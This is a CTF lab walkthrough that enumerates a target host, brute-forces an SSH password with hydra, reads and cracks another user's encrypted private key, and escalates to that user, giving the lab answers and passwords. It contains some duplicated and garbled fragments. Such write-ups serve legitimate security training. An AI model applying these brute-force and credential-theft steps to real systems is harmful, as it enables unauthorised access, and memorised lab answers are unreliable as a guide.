

TASK 1:

Before proceeding further, please download your VPN configuration file from TryHackMe. Once downloaded, use the following command to connect to the TryHackMe network:

```
sudo openvpn <filename>.ovpn
```

1} Find the services exposed by the machine

Ans: In order to find out the services exposed by the machine we use nmap tool which is highly used by most of the professional. In below screen shot -sS denotes the stealth scan and -sV used for version detection.

```
(manoj@kali)-[~/Downloads]
└─$ nmap -sS -sV 10.10.99.169 --min-rate 500
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-22 13:04 EDT
Nmap scan report for 10.10.99.169
Host is up (0.20s latency).
Not shown: 996 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http         Apache httpd 2.4.41 ((Ubuntu))
139/tcp   open  netbios-ssn  Samba smbd 4
445/tcp   open  netbios-ssn  Samba smbd 4
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.55 seconds
```

2} What is the name of the hidden directory on the web server(enter name without /)?

Ans: To discover hidden directories, we use tools like Gobuster, which is an effective and fast directory brute-

forcing tool. It serves a similar purpose to tools such as Dirb, Dirbuster, FFUF, and Wfuzz. These tools help identify directories and files that are not directly visible through normal browsing.

In the screenshot below, the flag `dir` indicates that we are performing a directory search. The `-u` flag is used to specify the target URL, and the `-w` flag defines the path to the wordlist being used for the enumeration.

```
(manoj@kali)-[~/Downloads]
$ gobuster dir -u http://10.10.99.169 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt

Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] Url: http://10.10.99.169
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s

Starting gobuster in directory enumeration mode

/development (Status: 301) [Size: 318] [→ http://10.10.99.169/development/]
Progress: 817 / 87665 (0.93%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 837 / 87665 (0.95%)
Finished
```

You can type [url: target](http://10.10.99.169/development/) machine ip/development in google/firefox.....

For the 3rd question it clearly says that there's a user present on that device right, so we'll try to enumerate through enum4linux so we may find some more information.

COMMAND: enum4linux -a <Target_IP>

```
( Share Enumeration on 10.10.99.169 )
smbXcli_negprot_smb1_done: No compatible protocol selected by server.

  Sharename      Type      Comment
  ----
  Anonymous      Disk
  IPC$           IPC       IPC Service (Samba Server 4.15.13-Ubuntu)
Reconnecting with SMB1 for workgroup listing.
Protocol negotiation to server 10.10.99.169 (for a protocol between LANMAN1 and NT1) failed: NT_STATUS_INVALID_NETWORK_RESPONSE
Unable to connect with SMB1 -- no workgroup available

[+] Attempting to map shares on 10.10.99.169
//10.10.99.169/Anonymous      Mapping: OK Listing: OK Writing: N/A
```

In above screenshot we can see a share Anonymous as active. We'll use that share and try to login by smbclient.

COMMAND: smbclient //10.10.99.169/Anonymous -U Anonymous -p 139

```
(manoj@kali)-[~/Downloads]
$ smbclient //10.10.99.169/Anonymous -U Anonymous -p 139
Password for [WORKGROUP\Anonymous]:
Try "help" to get a list of possible commands.
smb: \> ls
.                D           0   Thu Apr 19 13:31:20 2018
..               D           0   Thu Apr 19 13:13:06 2018
staff.txt        N          173  Thu Apr 19 13:29:55 2018
14282840 blocks of size 1024. 6260584 blocks available
smb: \> cat staff.txt
```

There is a .txt file that contains a conversation between two individuals, Kay and Jan. We will now attempt to perform a brute-force attack to discover their passwords.

3} User brute-forcing to find the username & password

Ans: In below screen shot I used hydra tool to find out

password you can use wordlist file like rockyou.txt.

```
(manoj@kali)-[~/Downloads]
$ hydra ssh://10.10.99.169 -l jan -P tryhackme.txt
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-07-22 13:30:20
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:l/p:1), ~1 try per task
[DATA] attacking ssh://10.10.99.169:22/
[22][ssh] host: 10.10.99.169 login: jan password: armando
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-07-22 13:30:23
```

4} What is the username?

Ans: jan

5} What is the password?

Ans: armando

6} What service do you use to access the server(answer in abbreviation in all caps)?

Ans: ssh

7} Enumerate the machine to find any vectors for privilege escalation

Ans: We'll try to connect with ssh by username jan and password armando and try to escalate take a look on

below screenshots for the details.

```
(manoj@kali)-[~/Downloads]
$ ssh jan@10.10.99.169
The authenticity of host '10.10.99.169 (10.10.99.169)' can't be established.
ED25519 key fingerprint is SHA256:gsqSSm9iKjutNe1Deqz+lAKXeUaKu41Fy0Nd87g4ryA.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.99.169' (ED25519) to the list of known hosts.
jan@10.10.99.169's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.15.0-139-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

System information as of Tue 22 Jul 2025 01:34:14 PM EDT

System load:  0.0               Processes:    106
Usage of /:   50.5% of 13.62GB   Users logged in: 0
Memory usage: 46%              IPv4 address for eth0: 10.10.99.169
```

we have successfully logged in through ssh....

```
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
0 packages can be updated.
0 updates are security updates.

Last login: Mon Apr 23 15:55:45 2018 from 192.168.56.102
jan@ip-10-10-99-169:~$ ls
jan@ip-10-10-99-169:~$ cd ..
jan@ip-10-10-99-169:/home$ ls
jan  kay  ubuntu
jan@ip-10-10-99-169:/home$ cd kay
jan@ip-10-10-99-169:/home/kay$ ls
pass.bak
jan@ip-10-10-99-169:/home/kay$ cat pass.bak
cat: pass.bak: Permission denied
jan@ip-10-10-99-169:/home/kay$ cat /etc/shadow
cat: /etc/shadow: Permission denied
jan@ip-10-10-99-169:/home/kay$ ls -la
total 48
drwxr-xr-x 5 kay  kay  4096 Apr 23  2018 .
drwxr-xr-x 5 root root 4096 Jul 22 13:03 ..
-rw-r--r-- 1 kay  kay   789 Jun 22 13:41 .bash_history
-rw-r--r-- 1 kay  kay   220 Apr 17  2018 .bash_logout
-rw-r--r-- 1 kay  kay  3771 Apr 17  2018 .bashrc
drwxr-xr-x 2 kay  kay  4096 Apr 17  2018 .cache
-rw-r--r-- 1 root kay   119 Apr 23  2018 .lessht
drwxrwxr-x 2 kay  kay  4096 Apr 23  2018 .nano at pass.bak
-rw-r--r-- 1 kay  kay    57 Apr 23  2018 pass.bak
-rw-r--r-- 1 kay  kay   655 Apr 17  2018 .profile
drwxr-xr-x 2 kay  kay  4096 Apr 23  2018 .ssh
-rw-r--r-- 1 kay  kay     0 Apr 17  2018 .sudo_as_admin_successful
-rw-r--r-- 1 root kay   538 Apr 23  2018 .viminfo
jan@ip-10-10-99-169:/home/kay$ cd .ssh
```

```

cat: /etc/shadow: Permission denied
jan@ip-10-10-99-169:/home/kay$ ls -la
total 48
drwxr-xr-x 5 kay kay 4096 Apr 23 2018 .
drwxr-xr-x 5 root root 4096 Jul 22 13:03 ..
-rw-r--r-- 1 kay kay 789 Jun 22 13:41 .bash_history
-rw-r--r-- 1 kay kay 220 Apr 17 2018 .bash_logout
-rw-r--r-- 1 kay kay 3771 Apr 17 2018 .bashrc
drwxr-xr-x 2 kay kay 4096 Apr 17 2018 .cache
-rw-r--r-- 1 root kay 119 Apr 23 2018 .lessht
drwxrwxr-x 2 kay kay 4096 Apr 23 2018 .nano
-rw-r--r-- 1 kay kay 57 Apr 23 2018 pass.bak
-rw-r--r-- 1 kay kay 655 Apr 17 2018 .profile
drwxr-xr-x 2 kay kay 4096 Apr 23 2018 .ssh
-rw-r--r-- 1 kay kay 0 Apr 17 2018 .sudo_as_admin_successful
-rw-r--r-- 1 root kay 538 Apr 23 2018 .viminfo
jan@ip-10-10-99-169:/home/kay$ cd .ssh
jan@ip-10-10-99-169:/home/kay/.ssh$ ls
authorized_keys id_rsa id_rsa.pub
jan@ip-10-10-99-169:/home/kay/.ssh$ cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4, ENCRYPTED
DEK-Info: AES-128-CBC,6ABA7DE35CDB65070B92C1F760E2FE75

IoNb/J0q2Pd56EZ23oAaJxLvhuSZ1crRr4ONGUANKcRxxg3+9vn6xcujpzUDuUtlZ
o9dyIEJB4wUZTueBPsmB487RdFVktOVQrVHty1K2aLy2Lka2Cnfjz8Llv+FMadsN
XRvjw/HRiGcXPY8B7nsA1eiPYrPZHIH3QOFIYlSPMYv79RC65i6frkDSvxXzbdFX
AkAN+3T5FU49AEVKBjtZnLTEBw31mxjv0LLXAqIaX5QfeXMacIQOUWCHATlpVXmN
lG4BaG7cVXs1AmPieflx7uN4RuB9NZS4Zp0lplbCb4UEawX0Tt+VKd6kzh+Bk0aU
hWQJCdnb/U+dRasu3oxqykLKU2dPseU7rlvPAqa6y+ogK/woTbnTrkRngKqLQxMl
lIWZye4yrLETfc275hzVVYh6FkLgtOfaly0bMqGIrM+eWVoX0rZPBlv8iyNTDdDE
3jRiqb0GLPs01hAWKIRxUPaEr18lcZ+0LY00Vw2oNL2xKUgtQpV2jwH04vGdXbfJ

```

Inside Kay's home directory, we discovered an important `id_rsa` file, which contains an SSH private key. To proceed, copy this key to your local machine. Since John the Ripper cannot directly identify the hash format of the private key, we need to convert it into a format that John can recognize.

As shown in the screenshots below, I first created a `password.txt` file, and then used it in the cracking process.

COMMAND: `ssh2john password.hash >`

`john_input.hash` and then cracked the password.

As I already cracked it before I have to use this

COMMAND: john -show john_input_hash

8} What is the name of the other user you found(all lower case)?

Ans: If we go a step back we had found a directory "kay".

As we cracked password for id_rsa we'll try to login as kay.

COMMAND: ssh -I /home/kay/.ssh/id_rsa
kay@10.10.99.169(target_ip)


```

-----END RSA PRIVATE KEY-----
jan@ip-10-10-99-169:/home/kay/.ssh$ chmod +x id_rsa
chmod: changing permissions of 'id_rsa': Operation not permitted
jan@ip-10-10-99-169:/home/kay/.ssh$ ssh -i /home/kay/.ssh/id_rsa kay@10.10.99.169
Could not create directory '/home/jan/.ssh'.
The authenticity of host '10.10.99.169 (10.10.99.169)' can't be established.
ECDSA key fingerprint is SHA256:cDQHeErGf4/tTwU4/Ww9yIWfU9T5Sj/RrrMYNodaXts.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Failed to add the host to the list of known hosts (/home/jan/.ssh/known_hosts).
Enter passphrase for key '/home/kay/.ssh/id_rsa':
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.15.0-139-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

System information as of Tue 22 Jul 2025 01:45:05 PM EDT

System load: 0.0          Processes: 114
Usage of /:  50.5% of 13.62GB   Users logged in: 1
Memory usage: 47%          IPv4 address for eth0: 10.10.99.169
Swap usage: 0%              https://ubuntu.com/advantage

Expanded Security Maintenance for Infrastructure is not enabled.
0 updates can be applied immediately.

Enable ESM Infra to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

Last login: Mon Apr 23 16:04:07 2018 from 192.168.56.102
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection.

Your Hardware Enablement Stack (HWE) is supported until April 2025.

Last login: Sun Jun 22 13:40:04 2025 from 10.23.8.228
kay@ip-10-10-99-169:~$ ls
pass.bak
kay@ip-10-10-99-169:~$ cat pass.bak
heresareallystrongpasswordthatfollowsthepasswordpolicy$$
kay@ip-10-10-99-169:~$ █

```

9} What is the final password you obtain?

Ans:heresareallystrongpasswordthatfollowsthepasswordpolicy\$\$.
dpolicy\$\$.